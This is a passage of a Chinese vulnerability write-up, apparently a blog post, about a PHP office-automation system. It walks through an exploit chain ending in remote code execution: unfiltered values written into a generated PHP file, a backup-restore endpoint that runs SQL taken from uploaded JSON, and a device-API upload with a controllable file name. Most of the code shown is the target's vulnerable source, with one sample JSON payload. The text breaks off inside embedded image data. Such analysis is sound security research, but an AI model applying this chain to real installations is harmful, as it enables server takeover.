<span class=k>protected</span> <span class=k>function</span> <span class=nf>saveafter</span><span class=p>(</span><span class=nv>$table</span><span class=p>,</span> <span class=nv>$arr</span><span class=p>,</span> <span class=nv>$id</span><span class=p>,</span> <span class=nv>$addbo</span><span class=p>){</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=s1>';</span>
<span class=s1> $this-&gt;rock-&gt;createtxt($apaths, $stra);</span>
<span class=s1> }</span>
<span class=s1> if(!file_exists($apath))echo '</span><span class=o>&lt;</span><span class=nx>div</span> <span class=nx>style</span><span class=o>=</span><span class=s2>"background:red;color:white;padding:10px"</span><span class=o>&gt;</span><span class=nx>无法创建文件:</span><span class=s1>'.$apaths.'</span><span class=nx>,会导致录入数据无法保存,请手动创建!代码内容如下:</span><span class=o>&lt;/</span><span class=nx>div</span><span class=o>&gt;&lt;</span><span class=nx>div</span> <span class=nx>style</span><span class=o>=</span><span class=s2>"background:#caeccb"</span><span class=o>&gt;&amp;</span><span class=nx>lt</span><span class=p>;</span><span class=o>?</span><span class=nx>php</span><span class=o>&lt;</span><span class=nx>br</span><span class=o>&gt;</span><span class=k>class</span> <span class=nc>mode_</span><span class=s1>'.$modenum.'</span><span class=nx>ClassAction</span> <span class=k>extends</span> <span class=nx>inputAction</span><span class=o>&lt;</span><span class=nx>br</span><span class=o>&gt;</span><span class=p>{</span><span class=o>&lt;</span><span class=nx>br</span><span class=o>&gt;</span><span class=p>}</span><span class=o>&lt;/</span><span class=nx>div</span><span class=o>&gt;</span><span class=err>'</span><span class=p>;</span>
<span class=p>}</span>
</pre></div>
<p>看代码从数据库中获取数据然后写出文件到/flow/input/mode_'.$modenum.'Action.php。<br>
$rs['name']、$modenum和都是从数据库中获取的,然后写出没有过滤可以造成代码执行。<br>
利用方式:</p>
<ol>
<li>insert data -&gt; flow_set数据库</li>
<li>执行inputAction 方法</li>
<li>代码执行</li>
</ol>
<p>先找insert的地方</p>
<p><strong>Insert FlowSet</strong><br>
path: webmain/flow/input/inputAction.php<br>
method: saveAjax</p>
<div class=highlight><pre><span></span><span class=x>在这里进行过滤</span>
<span class=x>$befa = $this-&gt;savebefore($table, $this-&gt;getsavenarr($uaarr, $oldrs), $id, $addbo);</span>
<span class=x>.......</span>
<span class=x> public function flowsetsavebefore($table, $cans)</span>
<span class=x> {</span>
<span class=x> $tab = $cans['table'];</span>
<span class=x> $tabs= trim($cans['tables']);</span>
<span class=x> $names= trim($cans['names']);</span>
<span class=x> $name= $this-&gt;rock-&gt;xssrepstr($cans['name']);</span>
<span class=x> $num = strtolower($cans['num']);</span>
<span class=x> $cobj= c('check');</span>
<span class=x> if(!$cobj-&gt;iszgen($tab))return '表名格式不对';</span>
<span class=x> if($cobj-&gt;isnumber($num))return '编号不能为数字';</span>
<span class=x> if(strlen($num)&lt;4)return '编号至少要4位';</span>
<span class=x> if($cobj-&gt;isincn($num))return '编号不能包含中文';</span>
<span class=x> if(contain($num,'-'))return '编号不能有-';</span>
<span class=x> if($cans['isflow']&gt;0 &amp;&amp; isempt($cans['sericnum'])) return '有流程必须有写编号规则,请参考其他模块填写';</span>
<span class=x> $rows['num']= $this-&gt;rock-&gt;xssrepstr($num); </span>
<span class=x> $rows['name']= $name;</span>
<span class=x> if(!isempt($tabs)){</span>
<span class=x> if($cobj-&gt;isincn($tabs))return '多行子表名不能包含中文';</span>
<span class=x> $tabsa = explode(',', $tabs);</span>
<span class=x> $namea = explode(',', $names);</span>
<span class=x> foreach($tabsa as $k1=&gt;$tabsas){</span>
<span class=x> if(isempt($tabsas))return '多行子表名('.$tabs.')不规范';</span>
<span class=x> if(isempt(arrvalue($namea, $k1)))return '第'.($k1+1).'个多行子表名称必须填写';</span>
<span class=x> }</span>
<span class=x> }</span>
<span class=x> $rows['tables']= $tabs;</span>
<span class=x> if($cans['where'])$rows['where'] = htmlspecialchars_decode($cans['where']);</span>
<span class=x> return array(</span>
<span class=x> 'rows' =&gt; $rows</span>
<span class=x> );</span>
<span class=x> }</span>
<span class=x>-----------</span>
<span class=x>$name= $this-&gt;rock-&gt;xssrepstr($cans['name']);</span>
<span class=x>$rows['num']= $this-&gt;rock-&gt;xssrepstr($num); </span>
<span class=x> public function xssrepstr($str)</span>
<span class=x> {</span>
<span class=x> $xpd = explode(',','(,), , ,&lt;,&gt;,\\,*,&amp;,%,$,^,[,],{,},!,@,#,",+,?,;\'');</span>
<span class=x> $xpd[]= "\n";</span>
<span class=x> return str_ireplace($xpd, '', $str);</span>
<span class=x> }</span>
</pre></div>
<p>可以看到insert对数据检测非常严格,而我们想要代码执行*/、()是必须的。所以这条路是走不通的。</p>
<ul>
<li><strong>柳暗花明又一村</strong></li>
</ul>
<p>后面翻代码注意到可以执行sql语句。那我们组合一下,直接通过sql语句insert然后就可以绕过输入检测。<br>
path: webmain/system/beifen/beifenAction.php<br>
method: huifdatanewAjax</p>
<div class=highlight><pre><span></span><span class=x>public function huifdatanewAjax()</span>
<span class=x> {</span>
<span class=x> if(getconfig('systype')=='demo')exit();</span>
<span class=x> if($this-&gt;adminid!=1)return '只有ID=1的管理员才可以用';</span>
<span class=x> $folder = $this-&gt;post('folder');</span>
<span class=x> $sida = explode(',', $this-&gt;post('sid'));</span>
<span class=x> $alltabls = $this-&gt;db-&gt;getalltable();</span>
<span class=x> $shul = 0;</span>
<span class=x> $tablss = '';</span>
<span class=x> foreach($sida as $id){</span>
<span class=x> $ids = substr($id,0,-5);</span>
<span class=x> $ida = explode('_', $ids);</span>
<span class=x> $len = count($ida);</span>
<span class=x> $fieldshu = $ida[$len-2];</span>
<span class=x> $total = $ida[$len-1];</span>
<span class=x> $tab = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id); //表</span>
<span class=x> $filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.'';</span>
<span class=x> if(!file_exists($filepath))continue;</span>
<span class=x> $data = m('beifen')-&gt;getbfdata('',$filepath);</span>
<span class=x> if(!$data)continue;</span>
<span class=x> $dataarr = $data[$tab];</span>
<span class=x> //表不存在</span>
<span class=x> if(!in_array($tab, $alltabls)){</span>
<span class=x> $createsql = arrvalue($dataarr, 'createsql');</span>
<span class=x> if($createsql){</span>
<span class=x> $this-&gt;db-&gt;query($createsql, false);</span>
<span class=x> }else{</span>
<span class=x> continue;</span>
<span class=x> }</span>
<span class=x> }</span>
</pre></div>
<p>该method 通过从文件中获取数据,然后执行sql语句<br>
<a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624212627-5c6bc626-322d-1.png><img src=data:image/png;base64,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
既然是在后台找个文件上传不很简单,但问题来了</p>
<div class=highlight><pre><span></span><span class=x>$sida = explode(',', $this-&gt;post('sid'));</span>
<span class=x>foreach($sida as $id){</span>
<span class=x> $tab = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id); //表</span>
<span class=x> $filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.'';</span>
<span class=x> if(!file_exists($filepath))continue;</span>
<span class=x> $data = m('beifen')-&gt;getbfdata('',$filepath); //json_decode文件内容</span>
<span class=x> if(!$data)continue;</span>
<span class=x> $dataarr = $data[$tab];</span>
<span class=x> //表不存在</span>
<span class=x> if(!in_array($tab, $alltabls)){</span>
<span class=x> $createsql = arrvalue($dataarr, 'createsql');</span>
<span class=x> if($createsql){</span>
<span class=x> $this-&gt;db-&gt;query($createsql, false);</span>
<span class=x> }else{</span>
<span class=x> continue;</span>
<span class=x> }</span>
<span class=x> }</span>
</pre></div>
<p>1、首先获取文件内容json_decode后储存到$data变量<br>
2、获取$data[$tab]中的数据,$tab是我们上传的文件名<br>
3、然后判断数据库中没有$tab这个table。<br>
4、获取$data[$tab]['createsql']执行query。<br>
其他都可控主要上传的图片文件名都是随机的。想要执行sql语句就必须控制文件名。<br>
如:上传文件返回随机文件名asdasdasdsad.png,那么文件内容必须为<br>
{"asdasdasdsad.png":{"createsql":"select 1"}}<br>
我们无法提前预知生成的文件名,那这条路也嘎bi了。</p>
<ul>
<li><strong>柳暗花明又又一村</strong></li>
</ul>
<p>通过翻阅代码发现一处上传点,可控文件名。</p>
<p>path: webmain/task/openapi/openkqjAction.php<br>
method: apiAction</p>
<div class=highlight><pre><span></span><span class=x>public function apiAction()</span>
<span class=x> {</span>
<span class=x> ................</span>
<span class=x> $acta = explode('?', $patha[count($patha)-1]);</span>
<span class=x> $act = $acta[0];</span>
<span class=x> $data = array();</span>
<span class=x> $num = $this-&gt;get('sn'); //设备号</span>
<span class=x> if(!$num)return 'notdata';</span>
<span class=x> $dbs = m('kqjsn');</span>
<span class=x> $snid = (int)$dbs-&gt;getmou('id',"`num`='$num'");</span>
<span class=x> if($snid==0)$snid = $dbs-&gt;insert(array(</span>
<span class=x> 'num' =&gt; $num,</span>
<span class=x> 'optdt' =&gt; $this-&gt;rock-&gt;now,</span>
<span class=x> 'status' =&gt; 1</span>
<span class=x> ));</span>
<span class=x> $this-&gt;snid = $snid;</span>
<span class=x> .......................</span>
<span class=x> //推送来的</span>
<span class=x> if($act=='post' &amp;&amp; $this-&gt;postdata!=''){</span>
<span class=x> $data= m('kqjcmd')-&gt;postdata($this-&gt;snid, $this-&gt;postdata);</span>
<span class=x> }</span>
</pre></div>
<p>当$act='post' ,postdata不为空<br>
进入 m('kqjcmd')-&gt;postdata</p>
<div class=highlight><pre><span></span><span class=x>public function postdata($snid, $dstr)</span>
<span class=x> {</span>
<span class=x> $this-&gt;rock-&gt;debugs($dstr,'postkqj_'.$snid.'_');</span>
<span class=x> $barr = json_decode($dstr, true);</span>
<span class=x> $carr = array();</span>
<span class=x> $uids = $dids = '';</span>
<span class=x> $snrs = $this-&gt;getsninfo($snid);</span>
<span class=x> if($barr)foreach($barr as $k=&gt;$rs){</span>
<span class=x> $dtype = arrvalue($rs, 'data'); //数据类型</span>
<span class=x> ................</span>
<span class=x>//推送来的头像</span>
<span class=x> if($dtype=='headpic'){</span>
<span class=x> $this-&gt;saveheadpic($snid, $rs['ccid'], $rs['headpic']);</span>
<span class=x> }</span>
</pre></div>
<p>当json_decode(postdata)['data'] == 'headpic'时<br>
进入$this-&gt;saveheadpic</p>
<div class=highlight><pre><span></span><span class=x>private function saveheadpic($snid, $uid, $headpic, $face='')</span>
<span class=x> {</span>
<span class=x> $where = "`snid`='$snid' and `uid`='$uid'";</span>
<span class=x> if(isempt($face)){</span>
<span class=x> if(isempt($headpic))return;</span>
<span class=x> $face = ''.UPDIR.'/face/kqj'.$snid.'_u'.$uid.'.jpg'; //头像保存为图片</span>
<span class=x> $this-&gt;rock-&gt;createtxt($face, base64_decode($headpic));</span>
<span class=x> }</span>
<span class=x> $arr['headpic'] = $face;</span>
<span class=x> if($this-&gt;kquobj-&gt;rows($where)==0){</span>
<span class=x> $where = '';</span>
<span class=x> $arr['snid'] = $snid;</span>
<span class=x> $arr['uid'] = $uid;</span>
<span class=x> }</span>
<span class=x> $this-&gt;kquobj-&gt;record($arr, $where);</span>
<span class=x> }</span>
</pre></div>
<p>在saveheadpic中,3个参数都是可控的,从而拿到可控文件名的上传点。</p>
<p>1、apiAction,$act=='post' &amp;&amp; $this-&gt;postdata!='',进入m('kqjcmd')-&gt;postdata<br>
2、postdata,json_decode(postdata)['data']== 'headpic',进入$this-&gt;saveheadpic<br>
3、$this-&gt;saveheadpic写出文件到''.UPDIR.'/face/kqj'.$snid.'_u'.$uid.'.jpg'</p>
<p>那么开始漏洞利用</p>
<p><strong>Exploit</strong><br>
1、首先insert一条flowset数据(ps:直接用sql insert太麻烦了直接正常构造一个正常数据,然后sql update)</p>
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624215646-98985e80-3231-1.png><img src="data:image/png;base64,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
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240624215649-9a80287c-3231-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAikAAAH6CAYAAADC0dwCAAEAAElEQVR4nOzddZhc5dnA4d8Z95l1381Kkt3Ixl1JCBJIcIpUgAKFlgpSKlBo6UdLBSnaFncNLnEjrhvdrGTdfXdczjnfHxuFBEKaZHeT976uubIzc86ZZ05GnnnleaWPP/5Y5TioqnrgX0VRUBQFWZaJRCJERUUxbdo0LBbL8RxaEARBEIQzWE1NDatXr0bX0tJyXAc4NElRVRVZlg8kKfn5+SJBEQRBEAThuCQkJGCxWNCZTKbjOsBXW1L2JyiSJBEVFXUiYxUEQRAE4Qyi0+mw2+3/W5Ky/6IoCpFIBI1GA4AkSScyVkEQBEEQziCSJKHT6dCciIN9tetHEARBEAThf6Gq6olJUvYfTCQpgiAIgiCcCCc0STn0oIIgCIIgCP+rE56kCIIgCIIgnAgiSREEQRAEoVfq8SSlrq6LP61uodIjH3KrQkFxK39Y00pbMMziHS28We4jAmwrbuPdaj8KYT7c0sLSxuDXjtnVGeCVre149l0PBCK8vKaeN0t9hL+ybSgc5LmV9XxQ9fXjfBe+Tj9Prm1iU0v3I7R1eXl6VRPFgWPZW6WyrpPH1rdS6T/8nrq6Lh5a30qtX/mf4hMEQRCEvka3+NMPCEpGdFHJzJg4HG/FTtbsqUTyB7Dnjmd0ho3lH33B4CuuwLh7BYtLPMQ7LbhS8hg5MImwp42N69bRIetwJPRjYFrM0R9NltlY5WGvVyHeZcAekSmp7uS/m7x4URkZZ2bDmkpWa61Mjjcwd0AMbo3MhpIOihO0DNYGeHBVExsVI+0DjTy1tYN+GWHip0fT2RSgOqiSmWBhiFWho7GT788P8ONUE56QzEe729m5O0Brl4tYAwyI0bNmTwfvlXgYnp/IJZ52pjzVTnKakzQTlNW66YyPY/HsaDZvrObaEonF57iYt6uV14oi/GSSg09Wt5GQG8XVA5wMU0K8vaMdR7yd0bF63J4A7xS0MyA/ngEmAJU95e08XdDF0lo/A1NsZFq19E+0EmfQEBXy8MauEGNzoqiu6qRmXzZVXdXJMxUhNEC6tTunjHGZmZV6fFPHBUEQBKFnKJRtXsKWJivnnzMRq1bF01DGp0u2MPnCi0h1Gr62h84++BymJ4VZtWgZ1V3Z1O2uoP+oGWQ5AyxduonO5CnkjR5NjEaiQ9GQMXg0k3KTu2fyKBGKt23FmTeWEbF25HCYYPAbWiQiYd5a38AHrTBnWCzXpij8uzjMixfH89baDhrjrIQjKv0zXTw8zQWA1+elJajQ6Q3z6aZOSI7icVeEe/aEuG1iPCt3t/BZvYXA7hZeqQxwwcRUHhxh5dyR8UxRJRRfgCc3tbDea+Cxi2Mp2NJMSYyTSZlmbpuoo6LJh6yRiDFrUCQN145LZm4CvPpFGf+JqHR4gpR2RfAGJFoiEpkxBnJitOREG8mJNpAQbSTFokXyHHyaq7c38upeL3UhmedX1vDvrghzpibyo8xobgyF2dAY5sbJKZwfp2FXYR0XLwnw9ylGoHtueJLLiGl/w1KrFq1GQ5rLSI69O0mxWbQn4tUiCIIgCKeQhDM+heDGxXy2zMDEHCtrlixFSR6J3Xj